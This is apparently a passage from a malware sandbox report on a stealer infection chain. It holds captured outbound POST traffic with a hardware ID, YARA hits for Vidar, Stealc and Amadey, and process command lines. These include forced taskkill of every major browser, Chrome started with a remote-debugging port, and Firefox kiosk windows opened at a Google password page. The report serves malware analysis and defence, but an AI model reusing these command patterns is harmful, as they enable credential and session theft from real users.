2024-12-09 19:29:40 UTC	15331	OUT	Data Raw: 2d 2d 51 57 30 34 36 36 31 37 31 56 57 31 33 47 49 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 51 57 30 34 36 36 31 37 31 56 57 31 33 47 49 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 57 30 34 36 36 31 37 31 56 57 31 33 47 49 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --QW0466171VW13GIKContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--QW0466171VW13GIKContent-Disposition: form-data; name="pid"1--QW0466171VW13GIKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-09 19:29:40 UTC	12699	OUT	Data Raw: cc 92 ee 6a d6 c4 ec ca 7c 07 35 82 41 0c d1 6b 2c bf 7e 36 4f de bd 77 20 8a 83 4a 9a cd a5 e9 be 42 95 d1 d8 1d 87 c5 68 7a 2f 55 a2 b3 7f e9 60 86 3f 16 8d 75 be 9d 00 0a 9b b1 df e8 d6 cc 02 a3 16 fc ea 78 6d 3d 4f 51 f6 1b 9c 7c 5f f2 ec e7 c6 80 45 82 29 63 88 b1 3e b1 a2 e0 2d 0f a0 cb ce 66 ae fb a9 70 7c c2 0c 1a 3d c2 23 96 2a ec c4 c4 44 31 41 2a d1 53 6b f6 1a 0b e6 d5 0b 0d 2f cc a8 ba fd aa 1c ee f4 9a c5 ec 50 32 e1 b7 e2 4a 7e aa 77 46 5f 48 0b ee 13 7e 76 ac 40 a6 15 fe bc b1 3e 45 a4 be bc d8 50 3f 03 15 78 84 47 8d 1a ae a3 de ad db c8 e3 54 09 8d 13 aa 49 df a3 dc 7b 8a 95 12 83 d5 a2 c9 4e b6 07 a8 9a 7c d8 0c 8a 30 dc 7f f9 4a c5 35 05 15 df 1c 8f ff 74 8d b1 ce ea 09 a0 75 28 6f c5 ab a3 79 ec 21 71 df 5e 18 7a c3 b9 8b 33 16 aa e6 Data Ascii: j\|5Ak,~6Ow JBhz/U`?uxm=OQ\|_E)c>-fp\|=#D1ASk/P2J~wF_H~v@>EP?xGTI{N\|0J5tu(oy!q^z3
2024-12-09 19:29:41 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kncl38p7sp7m59vj9obno4a40t; expires=Fri, 04-Apr-2025 13:16:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=30fsQkDzRZ7jatCWztn7rpbYlujuVGaFIwL3mTfxfLfdVzwoDBKbB%2Be0ADlEGyzAOOjz4LeOZJWJH8RaxuYBL711Vcx31rt%2B3Q4wcYFIuIbOk3IYpZf5b5f87UnqBVoVLd5njxg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef767c49dbf43f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1778&rtt_var=691&sent=15&recv=32&lost=0&retrans=0&sent_bytes=2846&recv_bytes=29014&delivery_rate=1642294&cwnd=204&unsent_bytes=0&cid=18581567150df6cd&ts=908&x=0"
2024-12-09 19:29:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:29:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:27:00
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe60000
File size:	1'816'064 bytes
MD5 hash:	3F78E574CEB89348CF3AF90C3A63BF20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1715851813.0000000005810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2213992001.0000000000E61000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:27:12
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:27:21
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1992,i,1316480559027049210,2605182806938244221,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:27:49
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:27:49
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:27:49
Start date:	09/12/2024
Path:	C:\Users\user\Documents\EBAEBFIIEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\EBAEBFIIEC.exe"
Imagebase:	0x570000
File size:	3'230'720 bytes
MD5 hash:	1AAF3E2606D14DB0A9B98489236C9E46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2253656280.0000000000571000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:27:53
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf80000
File size:	3'230'720 bytes
MD5 hash:	1AAF3E2606D14DB0A9B98489236C9E46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2293075274.0000000000F81000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:27:53
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf80000
File size:	3'230'720 bytes
MD5 hash:	1AAF3E2606D14DB0A9B98489236C9E46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2292827428.0000000000F81000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:28:00
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf80000
File size:	3'230'720 bytes
MD5 hash:	1AAF3E2606D14DB0A9B98489236C9E46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	14:28:14
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe"
Imagebase:	0x400000
File size:	1'966'080 bytes
MD5 hash:	F7A47830F40CC4B6A06D777FAB2F42F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:28:22
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"
Imagebase:	0x610000
File size:	1'838'080 bytes
MD5 hash:	1524DA94FEEEBB2A921C3065F4DA2383
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:28:31
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe"
Imagebase:	0xec0000
File size:	1'816'064 bytes
MD5 hash:	3F78E574CEB89348CF3AF90C3A63BF20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000003.2627978298.0000000005430000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000002.2676726532.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:28:38
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"
Imagebase:	0x610000
File size:	1'838'080 bytes
MD5 hash:	1524DA94FEEEBB2A921C3065F4DA2383
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2923519142.000000000125F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	14:28:38
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe"
Imagebase:	0xfe0000
File size:	973'312 bytes
MD5 hash:	6D38511BC3DC5EB936761AD513D0C896
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:28:40
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:28:40
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:28:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:28:44
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:28:44
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:28:44
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:28:45
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2140 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cbe96958-3f81-4a32-b212-5bd16e8524e8} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 2949c470510 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:28:46
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe"
Imagebase:	0xec0000
File size:	1'816'064 bytes
MD5 hash:	3F78E574CEB89348CF3AF90C3A63BF20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2870102600.0000000001C7B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.2776871674.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2864346736.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:28:47
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe"
Imagebase:	0xb80000
File size:	2'771'456 bytes
MD5 hash:	3C5C05EE39EA385BC626531B4F5F5DBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	14:28:50
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4024 -parentBuildID 20230927232528 -prefsHandle 4340 -prefMapHandle 4336 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {92ef462a-06cc-4d9b-9b96-d016683edb30} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 294ae474e10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:28:54
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe"
Imagebase:	0xfe0000
File size:	973'312 bytes
MD5 hash:	6D38511BC3DC5EB936761AD513D0C896
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	14:28:56
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:28:56
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:29:03
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe"
Imagebase:	0xb80000
File size:	2'771'456 bytes
MD5 hash:	3C5C05EE39EA385BC626531B4F5F5DBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	14:29:11
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	14:29:11
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"
Imagebase:	0x610000
File size:	1'838'080 bytes
MD5 hash:	1524DA94FEEEBB2A921C3065F4DA2383
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3109799946.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3163046947.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3115772673.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3195753572.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3233167251.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3123527529.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3164308247.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3109020607.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3166897859.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3196992395.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000003.3111738245.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	14:29:11
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	14:29:11
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	14:29:11
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	14:29:12
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	14:29:12
Start date:	09/12/2024
